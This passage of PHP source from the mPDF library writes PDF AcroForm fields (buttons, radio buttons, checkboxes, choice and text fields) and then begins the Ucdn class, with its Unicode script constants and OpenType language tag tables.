($form['exporttype'] === 'xfdf') { $flag = 32; } elseif ($form['method'] === 'GET') { // 'xfdf' or 'html' $flag = 12; } else { $flag = 4; } // Bit 2 (2) = IncludeNoValueFields if ($this->formSubmitNoValueFields) { $flag += 2; } // To submit a value, needs to be in /AP dictionary, AND this object must contain a /Fields entry // listing all fields to output $this->writer->write('/AA << /D << /S /SubmitForm /F (' . $form['URL'] . ') /Flags ' . $flag . ' >> >>'); $form['FF'][] = 17; $this->writer->write('/Ff ' . $this->_setflag($form['FF'])); } if ($form['subtype'] === 'js_button') { // Icon / image if (isset($this->form_button_icon[$form['T']])) { $cc++; $temp .= '/TP ' . $this->form_button_icon[$form['T']]['pos'] . ' '; $temp .= '/I ' . ($cc + $this->mpdf->n) . ' 0 R '; // Normal icon $temp .= '/RI ' . ($cc + $this->mpdf->n) . ' 0 R '; // onMouseOver $temp .= '/IX ' . ($cc + $this->mpdf->n) . ' 0 R '; // onClick / onMouseDown $temp .= '/IF << /SW /A /S /A /A [0.0 0.0] >> '; // Icon fit dictionary if ($this->form_button_icon[$form['T']]['Indexed']) { $cc++; } $put_icon = 1; } $temp .= $form['CA'] ? '/CA ' . $this->writer->string($form['CA']) . ' ' : '/CA ' . $this->writer->string($form['T']) . ' '; $temp .= $form['RC'] ? '/RC ' . $this->writer->string($form['RC']) . ' ' : '/RC ' . $this->writer->string($form['T']) . ' '; $temp .= $form['AC'] ? '/AC ' . $this->writer->string($form['AC']) . ' ' : '/AC ' . $this->writer->string($form['T']) . ' '; $this->writer->write("/BS << $bstemp >>"); $this->writer->write("/MK << $temp >>"); $this->writer->write('/DA (/F' . $this->mpdf->fonts[$form['style']['font']]['i'] . ' ' . $form['style']['fontsize'] . ' Tf ' . $form['style']['fontcolor'] . ')'); $form['FF'][] = 17; $this->writer->write('/Ff ' . $this->_setflag($form['FF'])); // Javascript if (isset($this->array_form_button_js[$form['T']])) { $cc++; $this->writer->write('/AA << /D ' . ($cc + $this->mpdf->n) . ' 0 R >>'); $put_js = 1; } } $this->writer->write('>>'); $this->writer->write('endobj'); // additional objects // obj icon if ($put_icon === 1) { $this->_put_button_icon($this->form_button_icon[$form['T']], $form['w'], $form['h']); $put_icon = null; } // obj + 1 if ($put_js === 1) { $this->mpdf->_set_object_javascript($this->array_form_button_js[$form['T']]['js']); unset($this->array_form_button_js[$form['T']]); $put_js = null; } // RADIO and CHECK BOX appearance streams $filter = $this->mpdf->compress ? '/Filter /FlateDecode ' : ''; if ($form['subtype'] === 'radio') { // output 2 appearance streams for radio buttons on/off if ($this->formUseZapD) { $fs = sprintf('%.3F', $form['style']['fontsize'] * 1.25); $fi = 'czapfdingbats'; $r_on = 'q ' . $radio_color . ' rg BT /F' . $this->mpdf->fonts[$fi]['i'] . ' ' . $fs . ' Tf 0 0 Td (4) Tj ET Q'; $r_off = 'q ' . $radio_color . ' rg BT /F' . $this->mpdf->fonts[$fi]['i'] . ' ' . $fs . ' Tf 0 0 Td (8) Tj ET Q'; } else { $matrix = sprintf('%.3F 0 0 %.3F 0 %.3F', $form['style']['fontsize'] * 1.33 / 10, $form['style']['fontsize'] * 1.25 / 10, $form['style']['fontsize']); $fill = $radio_background_color . ' rg 3.778 -7.410 m 2.800 -7.410 1.947 -7.047 1.225 -6.322 c 0.500 -5.600 0.138 -4.747 0.138 -3.769 c 0.138 -2.788 0.500 -1.938 1.225 -1.213 c 1.947 -0.491 2.800 -0.128 3.778 -0.128 c 4.757 -0.128 5.610 -0.491 6.334 -1.213 c 7.056 -1.938 7.419 -2.788 7.419 -3.769 c 7.419 -4.747 7.056 -5.600 6.334 -6.322 c 5.610 -7.047 4.757 -7.410 3.778 -7.410 c h f '; $circle = '3.778 -6.963 m 4.631 -6.963 5.375 -6.641 6.013 -6.004 c 6.653 -5.366 6.972 -4.619 6.972 -3.769 c 6.972 -2.916 6.653 -2.172 6.013 -1.532 c 5.375 -0.894 4.631 -0.576 3.778 -0.576 c 2.928 -0.576 2.182 -0.894 1.544 -1.532 c 0.904 -2.172 0.585 -2.916 0.585 -3.769 c 0.585 -4.619 0.904 -5.366 1.544 -6.004 c 2.182 -6.641 2.928 -6.963 3.778 -6.963 c h 3.778 -7.410 m 2.800 -7.410 1.947 -7.047 1.225 -6.322 c 0.500 -5.600 0.138 -4.747 0.138 -3.769 c 0.138 -2.788 0.500 -1.938 1.225 -1.213 c 1.947 -0.491 2.800 -0.128 3.778 -0.128 c 4.757 -0.128 5.610 -0.491 6.334 -1.213 c 7.056 -1.938 7.419 -2.788 7.419 -3.769 c 7.419 -4.747 7.056 -5.600 6.334 -6.322 c 5.610 -7.047 4.757 -7.410 3.778 -7.410 c h f '; $r_on = 'q ' . $matrix . ' cm ' . $fill . $radio_color . ' rg ' . $circle . ' ' . $radio_color . ' rg 5.184 -5.110 m 4.800 -5.494 4.354 -5.685 3.841 -5.685 c 3.331 -5.685 2.885 -5.494 2.501 -5.110 c 2.119 -4.725 1.925 -4.279 1.925 -3.769 c 1.925 -3.257 2.119 -2.810 2.501 -2.429 c 2.885 -2.044 3.331 -1.853 3.841 -1.853 c 4.354 -1.853 4.800 -2.044 5.184 -2.429 c 5.566 -2.810 5.760 -3.257 5.760 -3.769 c 5.760 -4.279 5.566 -4.725 5.184 -5.110 c h f Q '; $r_off = 'q ' . $matrix . ' cm ' . $fill . $radio_color . ' rg ' . $circle . ' Q '; } $this->writer->object(); $p = $this->mpdf->compress ? gzcompress($r_on) : $r_on; $this->writer->write('<<' . $filter . '/Length ' . strlen($p) . ' /Resources 2 0 R>>'); $this->writer->stream($p); $this->writer->write('endobj'); $this->writer->object(); $p = $this->mpdf->compress ? gzcompress($r_off) : $r_off; $this->writer->write('<<' . $filter . '/Length ' . strlen($p) . ' /Resources 2 0 R>>'); $this->writer->stream($p); $this->writer->write('endobj'); } if ($form['subtype'] === 'checkbox') { // First output appearance stream for check box on if ($this->formUseZapD) { $fs = sprintf('%.3F', $form['style']['fontsize'] * 1.25); $fi = 'czapfdingbats'; $cb_on = 'q ' . $radio_color . ' rg BT /F' . $this->mpdf->fonts[$fi]['i'] . ' ' . $fs . ' Tf 0 0 Td (4) Tj ET Q'; $cb_off = 'q ' . $radio_color . ' rg BT /F' . $this->mpdf->fonts[$fi]['i'] . ' ' . $fs . ' Tf 0 0 Td (8) Tj ET Q'; } else { $matrix = sprintf('%.3F 0 0 %.3F 0 %.3F', $form['style']['fontsize'] * 1.33 / 10, $form['style']['fontsize'] * 1.25 / 10, $form['style']['fontsize']); $fill = $radio_background_color . ' rg 7.395 -0.070 m 7.395 -7.344 l 0.121 -7.344 l 0.121 -0.070 l 7.395 -0.070 l h f '; $square = '0.508 -6.880 m 6.969 -6.880 l 6.969 -0.534 l 0.508 -0.534 l 0.508 -6.880 l h 7.395 -0.070 m 7.395 -7.344 l 0.121 -7.344 l 0.121 -0.070 l 7.395 -0.070 l h '; $cb_on = 'q ' . $matrix . ' cm ' . $fill . $radio_color . ' rg ' . $square . ' f ' . $radio_color . ' rg 6.321 -1.352 m 5.669 -2.075 5.070 -2.801 4.525 -3.532 c 3.979 -4.262 3.508 -4.967 3.112 -5.649 c 3.080 -5.706 3.039 -5.779 2.993 -5.868 c 2.858 -6.118 2.638 -6.243 2.334 -6.243 c 2.194 -6.243 2.100 -6.231 2.052 -6.205 c 2.003 -6.180 1.954 -6.118 1.904 -6.020 c 1.787 -5.788 1.688 -5.523 1.604 -5.226 c 1.521 -4.930 1.480 -4.721 1.480 -4.600 c 1.480 -4.535 1.491 -4.484 1.512 -4.447 c 1.535 -4.410 1.579 -4.367 1.647 -4.319 c 1.733 -4.259 1.828 -4.210 1.935 -4.172 c 2.040 -4.134 2.131 -4.115 2.205 -4.115 c 2.267 -4.115 2.341 -4.232 2.429 -4.469 c 2.437 -4.494 2.444 -4.511 2.448 -4.522 c 2.451 -4.531 2.456 -4.546 2.465 -4.568 c 2.546 -4.795 2.614 -4.910 2.668 -4.910 c 2.714 -4.910 2.898 -4.652 3.219 -4.136 c 3.539 -3.620 3.866 -3.136 4.197 -2.683 c 4.426 -2.367 4.633 -2.103 4.816 -1.889 c 4.998 -1.676 5.131 -1.544 5.211 -1.493 c 5.329 -1.426 5.483 -1.368 5.670 -1.319 c 5.856 -1.271 6.066 -1.238 6.296 -1.217 c 6.321 -1.352 l h f Q '; $cb_off = 'q ' . $matrix . ' cm ' . $fill . $radio_color . ' rg ' . $square . ' f Q '; } $this->writer->object(); $p = $this->mpdf->compress ? gzcompress($cb_on) : $cb_on; $this->writer->write('<<' . $filter . '/Length ' . strlen($p) . ' /Resources 2 0 R>>'); $this->writer->stream($p); $this->writer->write('endobj'); // output appearance stream for check box off (only if not using ZapfDingbats) if (!$this->formUseZapD) { $this->writer->object(); $p = $this->mpdf->compress ? gzcompress($cb_off) : $cb_off; $this->writer->write('<<' . $filter . '/Length ' . strlen($p) . ' /Resources 2 0 R>>'); $this->writer->stream($p); $this->writer->write('endobj'); } } return $n; } function _putform_ch($form, $hPt) { $put_js = 0; $this->writer->object(); $n = $this->mpdf->n; $this->pdf_acro_array .= $n . ' 0 R '; $this->forms[$form['n']]['obj'] = $n; $this->writer->write('<<'); $this->writer->write('/Type /Annot '); $this->writer->write('/Subtype /Widget'); $this->writer->write('/Rect [ ' . $this->_form_rect($form['x'], $form['y'], $form['w'], $form['h'], $hPt) . ' ]'); $this->writer->write('/F 4'); $this->writer->write('/FT /Ch'); if ($form['Q']) { $this->writer->write('/Q ' . $form['Q'] . ''); } $temp = ''; $temp .= '/W ' . $form['BS_W'] . ' '; $temp .= '/S /' . $form['BS_S'] . ' '; $this->writer->write("/BS << $temp >>"); $temp = ''; $temp .= '/BC [ ' . $form['BC_C'] . ' ] '; $temp .= '/BG [ ' . $form['BG_C'] . ' ] '; $this->writer->write('/MK << ' . $temp . ' >>'); $this->writer->write('/NM ' . $this->writer->string(sprintf('%04u-%04u', $n, 6000 + $form['n']))); $this->writer->write('/M ' . $this->writer->string('D:' . date('YmdHis'))); $this->writer->write('/T ' . $this->writer->string($form['T'])); $this->writer->write('/DA (/F' . $this->mpdf->fonts[$form['style']['font']]['i'] . ' ' . $form['style']['fontsize'] . ' Tf ' . $form['style']['fontcolor'] . ')'); $opt = ''; $count = count($form['OPT']['VAL']); for ($i = 0; $i < $count; $i++) { $opt .= '[ ' . $this->writer->string($form['OPT']['VAL'][$i]) . ' ' . $this->writer->string($form['OPT']['OPT'][$i]) . ' ] '; } $this->writer->write('/Opt [ ' . $opt . ']'); // selected $selectItem = false; $selectIndex = false; foreach ($form['OPT']['SEL'] as $selectKey => $selectVal) { $selectName = $this->writer->string($form['OPT']['VAL'][$selectVal]); $selectItem .= ' ' . $selectName . ' '; $selectIndex .= ' ' . $selectVal . ' '; } if ($selectItem) { if (count($form['OPT']['SEL']) < 2) { $this->writer->write('/V ' . $selectItem . ' '); $this->writer->write('/DV ' . $selectItem . ' '); } else { $this->writer->write('/V [' . $selectItem . '] '); $this->writer->write('/DV [' . $selectItem . '] '); } $this->writer->write('/I [' . $selectIndex . '] '); } if (is_array($form['FF']) && count($form['FF']) > 0) { $this->writer->write('/Ff ' . $this->_setflag($form['FF']) . ' '); } // Javascript if (isset($this->array_form_choice_js[$form['T']])) { $this->writer->write('/AA << /V ' . ($this->mpdf->n + 1) . ' 0 R >>'); $put_js = 1; } $this->writer->write('>>'); $this->writer->write('endobj'); // obj + 1 if ($put_js === 1) { $this->mpdf->_set_object_javascript($this->array_form_choice_js[$form['T']]['js']); unset($this->array_form_choice_js[$form['T']]); $put_js = null; } return $n; } function _putform_tx($form, $hPt) { $put_js = 0; $this->writer->object(); $n = $this->mpdf->n; $this->pdf_acro_array .= $n . ' 0 R '; $this->forms[$form['n']]['obj'] = $n; $this->writer->write('<<'); $this->writer->write('/Type /Annot '); $this->writer->write('/Subtype /Widget '); $this->writer->write('/Rect [ ' . $this->_form_rect($form['x'], $form['y'], $form['w'], $form['h'], $hPt) . ' ] '); $form['hidden'] ? $this->writer->write('/F 2 ') : $this->writer->write('/F 4 '); $this->writer->write('/FT /Tx '); $this->writer->write('/H /N '); $this->writer->write('/R 0 '); if (is_array($form['FF']) && count($form['FF']) > 0) { $this->writer->write('/Ff ' . $this->_setflag($form['FF']) . ' '); } if (isset($form['maxlen']) && $form['maxlen'] > 0) { $this->writer->write('/MaxLen ' . $form['maxlen']); } $temp = ''; $temp .= '/W ' . $form['BS_W'] . ' '; $temp .= '/S /' . $form['BS_S'] . ' '; $this->writer->write("/BS << $temp >>"); $temp = ''; $temp .= '/BC [ ' . $form['BC_C'] . ' ] '; $temp .= '/BG [ ' . $form['BG_C'] . ' ] '; $this->writer->write('/MK <<' . $temp . ' >>'); $this->writer->write('/T ' . $this->writer->string($form['T'])); $this->writer->write('/TU ' . $this->writer->string($form['TU'])); if ($form['V'] || $form['V'] === '0') { $this->writer->write('/V ' . $this->writer->string($form['V'])); } $this->writer->write('/DV ' . $this->writer->string($form['DV'])); $this->writer->write('/DA (/F' . $this->mpdf->fonts[$form['style']['font']]['i'] . ' ' . $form['style']['fontsize'] . ' Tf ' . $form['style']['fontcolor'] . ')'); if ($form['Q']) { $this->writer->write('/Q ' . $form['Q'] . ''); } $this->writer->write('/NM ' . $this->writer->string(sprintf('%04u-%04u', $n, 5000 + $form['n']))); $this->writer->write('/M ' . $this->writer->string('D:' . date('YmdHis'))); if (isset($this->array_form_text_js[$form['T']])) { $put_js = 1; $cc = 0; $js_str = ''; if (isset($this->array_form_text_js[$form['T']]['F'])) { $cc++; $js_str .= '/F ' . ($cc + $this->mpdf->n) . ' 0 R '; } if (isset($this->array_form_text_js[$form['T']]['K'])) { $cc++; $js_str .= '/K ' . ($cc + $this->mpdf->n) . ' 0 R '; } if (isset($this->array_form_text_js[$form['T']]['V'])) { $cc++; $js_str .= '/V ' . ($cc + $this->mpdf->n) . ' 0 R '; } if (isset($this->array_form_text_js[$form['T']]['C'])) { $cc++; $js_str .= '/C ' . ($cc + $this->mpdf->n) . ' 0 R '; $this->pdf_array_co .= $this->mpdf->n . ' 0 R '; } $this->writer->write('/AA << ' . $js_str . ' >>'); } $this->writer->write('>>'); $this->writer->write('endobj'); if ($put_js == 1) { if (isset($this->array_form_text_js[$form['T']]['F'])) { $this->mpdf->_set_object_javascript($this->array_form_text_js[$form['T']]['F']['js']); unset($this->array_form_text_js[$form['T']]['F']); } if (isset($this->array_form_text_js[$form['T']]['K'])) { $this->mpdf->_set_object_javascript($this->array_form_text_js[$form['T']]['K']['js']); unset($this->array_form_text_js[$form['T']]['K']); } if (isset($this->array_form_text_js[$form['T']]['V'])) { $this->mpdf->_set_object_javascript($this->array_form_text_js[$form['T']]['V']['js']); unset($this->array_form_text_js[$form['T']]['V']); } if (isset($this->array_form_text_js[$form['T']]['C'])) { $this->mpdf->_set_object_javascript($this->array_form_text_js[$form['T']]['C']['js']); unset($this->array_form_text_js[$form['T']]['C']); } } return $n; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Ucdn.php�����������������������������������������������������������������������0000644�����������������00000401565�14760002214�0012115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class Ucdn { /* HarfBuzz ucdn/unicodedata_db.h */ /* HarfBuzz ucdn/ucdn.c */ /* HarfBuzz ucdn/ucdn.h */ const SCRIPT_COMMON = 0; const SCRIPT_LATIN = 1; const SCRIPT_GREEK = 2; const SCRIPT_CYRILLIC = 3; const SCRIPT_ARMENIAN = 4; const SCRIPT_HEBREW = 5; const SCRIPT_ARABIC = 6; const SCRIPT_SYRIAC = 7; const SCRIPT_THAANA = 8; const SCRIPT_DEVANAGARI = 9; const SCRIPT_BENGALI = 10; const SCRIPT_GURMUKHI = 11; const SCRIPT_GUJARATI = 12; const SCRIPT_ORIYA = 13; const SCRIPT_TAMIL = 14; const SCRIPT_TELUGU = 15; const SCRIPT_KANNADA = 16; const SCRIPT_MALAYALAM = 17; const SCRIPT_SINHALA = 18; const SCRIPT_THAI = 19; const SCRIPT_LAO = 20; const SCRIPT_TIBETAN = 21; const SCRIPT_MYANMAR = 22; const SCRIPT_GEORGIAN = 23; const SCRIPT_HANGUL = 24; const SCRIPT_ETHIOPIC = 25; const SCRIPT_CHEROKEE = 26; const SCRIPT_CANADIAN_ABORIGINAL = 27; const SCRIPT_OGHAM = 28; const SCRIPT_RUNIC = 29; const SCRIPT_KHMER = 30; const SCRIPT_MONGOLIAN = 31; const SCRIPT_HIRAGANA = 32; const SCRIPT_KATAKANA = 33; const SCRIPT_BOPOMOFO = 34; const SCRIPT_HAN = 35; const SCRIPT_YI = 36; const SCRIPT_OLD_ITALIC = 37; const SCRIPT_GOTHIC = 38; const SCRIPT_DESERET = 39; const SCRIPT_INHERITED = 40; const SCRIPT_TAGALOG = 41; const SCRIPT_HANUNOO = 42; const SCRIPT_BUHID = 43; const SCRIPT_TAGBANWA = 44; const SCRIPT_LIMBU = 45; const SCRIPT_TAI_LE = 46; const SCRIPT_LINEAR_B = 47; const SCRIPT_UGARITIC = 48; const SCRIPT_SHAVIAN = 49; const SCRIPT_OSMANYA = 50; const SCRIPT_CYPRIOT = 51; const SCRIPT_BRAILLE = 52; const SCRIPT_BUGINESE = 53; const SCRIPT_COPTIC = 54; const SCRIPT_NEW_TAI_LUE = 55; const SCRIPT_GLAGOLITIC = 56; const SCRIPT_TIFINAGH = 57; const SCRIPT_SYLOTI_NAGRI = 58; const SCRIPT_OLD_PERSIAN = 59; const SCRIPT_KHAROSHTHI = 60; const SCRIPT_BALINESE = 61; const SCRIPT_CUNEIFORM = 62; const SCRIPT_PHOENICIAN = 63; const SCRIPT_PHAGS_PA = 64; const SCRIPT_NKO = 65; const SCRIPT_SUNDANESE = 66; const SCRIPT_LEPCHA = 67; const SCRIPT_OL_CHIKI = 68; const SCRIPT_VAI = 69; const SCRIPT_SAURASHTRA = 70; const SCRIPT_KAYAH_LI = 71; const SCRIPT_REJANG = 72; const SCRIPT_LYCIAN = 73; const SCRIPT_CARIAN = 74; const SCRIPT_LYDIAN = 75; const SCRIPT_CHAM = 76; const SCRIPT_TAI_THAM = 77; const SCRIPT_TAI_VIET = 78; const SCRIPT_AVESTAN = 79; const SCRIPT_EGYPTIAN_HIEROGLYPHS = 80; const SCRIPT_SAMARITAN = 81; const SCRIPT_LISU = 82; const SCRIPT_BAMUM = 83; const SCRIPT_JAVANESE = 84; const SCRIPT_MEETEI_MAYEK = 85; const SCRIPT_IMPERIAL_ARAMAIC = 86; const SCRIPT_OLD_SOUTH_ARABIAN = 87; const SCRIPT_INSCRIPTIONAL_PARTHIAN = 88; const SCRIPT_INSCRIPTIONAL_PAHLAVI = 89; const SCRIPT_OLD_TURKIC = 90; const SCRIPT_KAITHI = 91; const SCRIPT_BATAK = 92; const SCRIPT_BRAHMI = 93; const SCRIPT_MANDAIC = 94; const SCRIPT_CHAKMA = 95; const SCRIPT_MEROITIC_CURSIVE = 96; const SCRIPT_MEROITIC_HIEROGLYPHS = 97; const SCRIPT_MIAO = 98; const SCRIPT_SHARADA = 99; const SCRIPT_SORA_SOMPENG = 100; const SCRIPT_TAKRI = 101; const SCRIPT_UNKNOWN = 102; public static function get_ucd_record($code) { if ($code >= 0x110000) { $index = 0; } else { $index = self::$index0[$code >> (8)] << 5; $offset = ($code >> 3) & ((1 << 5) - 1); $index = self::$index1[$index + $offset] << 3; $offset = $code & ((1 << 3) - 1); $index = self::$index2[$index + $offset]; } return self::$ucd_records[$index]; } public static function get_general_category($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[0]; } public static function get_combining_class($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[1]; } public static function get_bidi_class($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[2]; } public static function get_mirrored($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[3]; } public static function get_east_asian_width($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[4]; } public static function get_normalization_check($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[5]; } public static function get_script($code) { $ucd_record = self::get_ucd_record($code); return $ucd_record[6]; } // mPDF added public static $uni_scriptblock = [ /* SCRIPT_COMMON */ 0 => '', /* SCRIPT_LATIN */ 1 => 'latn', /* SCRIPT_GREEK */ 2 => 'grek', /* SCRIPT_CYRILLIC */ 3 => 'cyrl', /* SCRIPT_ARMENIAN */ 4 => 'armn', /* SCRIPT_HEBREW */ 5 => 'hebr', /* SCRIPT_ARABIC */ 6 => 'arab', /* SCRIPT_SYRIAC */ 7 => 'syrc', /* SCRIPT_THAANA */ 8 => 'thaa', /* SCRIPT_DEVANAGARI */ 9 => 'dev2', /* SCRIPT_BENGALI */ 10 => 'bng2', /* SCRIPT_GURMUKHI */ 11 => 'gur2', /* SCRIPT_GUJARATI */ 12 => 'gjr2', /* SCRIPT_ORIYA */ 13 => 'ory2', /* SCRIPT_TAMIL */ 14 => 'tml2', /* SCRIPT_TELUGU */ 15 => 'tel2', /* SCRIPT_KANNADA */ 16 => 'knd2', /* SCRIPT_MALAYALAM */ 17 => 'mlm2', /* SCRIPT_SINHALA */ 18 => 'sinh', /* SCRIPT_THAI */ 19 => 'thai', /* SCRIPT_LAO */ 20 => 'lao ', /* SCRIPT_TIBETAN */ 21 => 'tibt', /* SCRIPT_MYANMAR */ 22 => 'mym2', /* SCRIPT_GEORGIAN */ 23 => 'geor', /* SCRIPT_HANGUL */ 24 => 'jamo', /* there is also a hang tag, but we want to activate jamo features if present */ /* SCRIPT_ETHIOPIC */ 25 => 'ethi', /* SCRIPT_CHEROKEE */ 26 => 'cher', /* SCRIPT_CANADIAN_ABORIGINAL */ 27 => 'cans', /* SCRIPT_OGHAM */ 28 => 'ogam', /* SCRIPT_RUNIC */ 29 => 'runr', /* SCRIPT_KHMER */ 30 => 'khmr', /* SCRIPT_MONGOLIAN */ 31 => 'mong', /* SCRIPT_HIRAGANA */ 32 => 'kana', /* SCRIPT_KATAKANA */ 33 => 'kana', /* SCRIPT_BOPOMOFO */ 34 => 'bopo', /* SCRIPT_HAN */ 35 => 'hani', /* SCRIPT_YI */ 36 => 'yi ', /* SCRIPT_OLD_ITALIC */ 37 => 'ital', /* SCRIPT_GOTHIC */ 38 => 'goth', /* SCRIPT_DESERET */ 39 => 'dsrt', /* SCRIPT_INHERITED */ 40 => '', /* SCRIPT_TAGALOG */ 41 => 'tglg', /* SCRIPT_HANUNOO */ 42 => 'hano', /* SCRIPT_BUHID */ 43 => 'buhd', /* SCRIPT_TAGBANWA */ 44 => 'tagb', /* SCRIPT_LIMBU */ 45 => 'limb', /* SCRIPT_TAI_LE */ 46 => 'tale', /* SCRIPT_LINEAR_B */ 47 => 'linb', /* SCRIPT_UGARITIC */ 48 => 'ugar', /* SCRIPT_SHAVIAN */ 49 => 'shaw', /* SCRIPT_OSMANYA */ 50 => 'osma', /* SCRIPT_CYPRIOT */ 51 => 'cprt', /* SCRIPT_BRAILLE */ 52 => 'brai', /* SCRIPT_BUGINESE */ 53 => 'bugi', /* SCRIPT_COPTIC */ 54 => 'copt', /* SCRIPT_NEW_TAI_LUE */ 55 => 'talu', /* SCRIPT_GLAGOLITIC */ 56 => 'glag', /* SCRIPT_TIFINAGH */ 57 => 'tfng', /* SCRIPT_SYLOTI_NAGRI */ 58 => 'sylo', /* SCRIPT_OLD_PERSIAN */ 59 => 'xpeo', /* SCRIPT_KHAROSHTHI */ 60 => 'khar', /* SCRIPT_BALINESE */ 61 => 'bali', /* SCRIPT_CUNEIFORM */ 62 => 'xsux', /* SCRIPT_PHOENICIAN */ 63 => 'phnx', /* SCRIPT_PHAGS_PA */ 64 => 'phag', /* SCRIPT_NKO */ 65 => 'nko ', /* SCRIPT_SUNDANESE */ 66 => 'sund', /* SCRIPT_LEPCHA */ 67 => 'lepc', /* SCRIPT_OL_CHIKI */ 68 => 'olck', /* SCRIPT_VAI */ 69 => 'vai ', /* SCRIPT_SAURASHTRA */ 70 => 'saur', /* SCRIPT_KAYAH_LI */ 71 => 'kali', /* SCRIPT_REJANG */ 72 => 'rjng', /* SCRIPT_LYCIAN */ 73 => 'lyci', /* SCRIPT_CARIAN */ 74 => 'cari', /* SCRIPT_LYDIAN */ 75 => 'lydi', /* SCRIPT_CHAM */ 76 => 'cham', /* SCRIPT_TAI_THAM */ 77 => 'lana', /* SCRIPT_TAI_VIET */ 78 => 'tavt', /* SCRIPT_AVESTAN */ 79 => 'avst', /* SCRIPT_EGYPTIAN_HIEROGLYPHS */ 80 => 'egyp', /* SCRIPT_SAMARITAN */ 81 => 'samr', /* SCRIPT_LISU */ 82 => 'lisu', /* SCRIPT_BAMUM */ 83 => 'bamu', /* SCRIPT_JAVANESE */ 84 => 'java', /* SCRIPT_MEETEI_MAYEK */ 85 => 'mtei', /* SCRIPT_IMPERIAL_ARAMAIC */ 86 => 'armi', /* SCRIPT_OLD_SOUTH_ARABIAN */ 87 => 'sarb', /* SCRIPT_INSCRIPTIONAL_PARTHIAN */ 88 => 'prti', /* SCRIPT_INSCRIPTIONAL_PAHLAVI */ 89 => 'phli', /* SCRIPT_OLD_TURKIC */ 90 => 'orkh', /* SCRIPT_KAITHI */ 91 => 'kthi', /* SCRIPT_BATAK */ 92 => 'batk', /* SCRIPT_BRAHMI */ 93 => 'brah', /* SCRIPT_MANDAIC */ 94 => 'mand', /* SCRIPT_CHAKMA */ 95 => 'cakm', /* SCRIPT_MEROITIC_CURSIVE */ 96 => 'merc', /* SCRIPT_MEROITIC_HIEROGLYPHS */ 97 => 'mero', /* SCRIPT_MIAO */ 98 => 'plrd', /* SCRIPT_SHARADA */ 99 => 'shrd', /* SCRIPT_SORA_SOMPENG */ 100 => 'sora', /* SCRIPT_TAKRI */ 101 => 'takr', /* SCRIPT_UNKNOWN */ 102 => '', ]; public static $ot_languages = [ 'aa' => 'AFR ', /* Afar */ 'ab' => 'ABK ', /* Abkhazian */ 'abq' => 'ABA ', /* Abaza */ 'ada' => 'DNG ', /* Dangme */ 'ady' => 'ADY ', /* Adyghe */ 'af' => 'AFK ', /* Afrikaans */ 'aii' => 'SWA ', /* Swadaya Aramaic */ 'aiw' => 'ARI ', /* Aari */ 'alt' => 'ALT ', /* [Southern] Altai */ 'am' => 'AMH ', /* Amharic */ 'amf' => 'HBN ', /* Hammer-Banna */ 'ar' => 'ARA ', /* Arabic */ 'arn' => 'MAP ', /* Mapudungun */ 'as' => 'ASM ', /* Assamese */ 'ath' => 'ATH ', /* Athapaskan [family] */ 'atv' => 'ALT ', /* [Northern] Altai */ 'av' => 'AVR ', /* Avaric */ 'awa' => 'AWA ', /* Awadhi */ 'ay' => 'AYM ', /* Aymara */ 'az' => 'AZE ', /* Azerbaijani */ 'ba' => 'BSH ', /* Bashkir */ 'bai' => 'BML ', /* Bamileke [family] */ 'bal' => 'BLI ', /* Baluchi */ 'bci' => 'BAU ', /* Baule */ 'bcq' => 'BCH ', /* Bench */ 'be' => 'BEL ', /* Belarussian */ 'bem' => 'BEM ', /* Bemba (Zambia) */ 'ber' => 'BER ', /* Berber [family] */ 'bfq' => 'BAD ', /* Badaga */ 'bft' => 'BLT ', /* Balti */ 'bfy' => 'BAG ', /* Baghelkhandi */ 'bg' => 'BGR ', /* Bulgarian */ 'bhb' => 'BHI ', /* Bhili */ 'bho' => 'BHO ', /* Bhojpuri */ 'bik' => 'BIK ', /* Bikol */ 'bin' => 'EDO ', /* Bini */ 'bjt' => 'BLN ', /* Balanta-Ganja */ 'bla' => 'BKF ', /* Blackfoot */ 'ble' => 'BLN ', /* Balanta-Kentohe */ 'bm' => 'BMB ', /* Bambara */ 'bn' => 'BEN ', /* Bengali */ 'bo' => 'TIB ', /* Tibetan */ 'br' => 'BRE ', /* Breton */ 'bra' => 'BRI ', /* Braj Bhasha */ 'brh' => 'BRH ', /* Brahui */ 'bs' => 'BOS ', /* Bosnian */ 'btb' => 'BTI ', /* Beti (Cameroon) */ 'bxr' => 'RBU ', /* Russian Buriat */ 'byn' => 'BIL ', /* Bilen */ 'ca' => 'CAT ', /* Catalan */ 'ce' => 'CHE ', /* Chechen */ 'ceb' => 'CEB ', /* Cebuano */ 'chp' => 'CHP ', /* Chipewyan */ 'chr' => 'CHR ', /* Cherokee */ 'ckt' => 'CHK ', /* Chukchi */ 'cop' => 'COP ', /* Coptic */ 'cr' => 'CRE ', /* Cree */ 'crh' => 'CRT ', /* Crimean Tatar */ 'crj' => 'ECR ', /* [Southern] East Cree */ 'crl' => 'ECR ', /* [Northern] East Cree */ 'crm' => 'MCR ', /* Moose Cree */ 'crx' => 'CRR ', /* Carrier */ 'cs' => 'CSY ', /* Czech */ 'cu' => 'CSL ', /* Church Slavic */ 'cv' => 'CHU ', /* Chuvash */ 'cwd' => 'DCR ', /* Woods Cree */ 'cy' => 'WEL ', /* Welsh */ 'da' => 'DAN ', /* Danish */ 'dap' => 'NIS ', /* Nisi (India) */ 'dar' => 'DAR ', /* Dargwa */ 'de' => 'DEU ', /* German */ 'din' => 'DNK ', /* Dinka */ 'dje' => 'DJR ', /* Djerma */ 'dng' => 'DUN ', /* Dungan */ 'doi' => 'DGR ', /* Dogri */ 'dsb' => 'LSB ', /* Lower Sorbian */ 'dv' => 'DIV ', /* Dhivehi */ 'dyu' => 'JUL ', /* Jula */ 'dz' => 'DZN ', /* Dzongkha */ 'ee' => 'EWE ', /* Ewe */ 'efi' => 'EFI ', /* Efik */ 'el' => 'ELL ', /* Modern Greek (1453-) */ 'grc' => 'PGR ', /* Polytonic Greek */ 'en' => 'ENG ', /* English */ 'eo' => 'NTO ', /* Esperanto */ 'eot' => 'BTI ', /* Beti (Côte 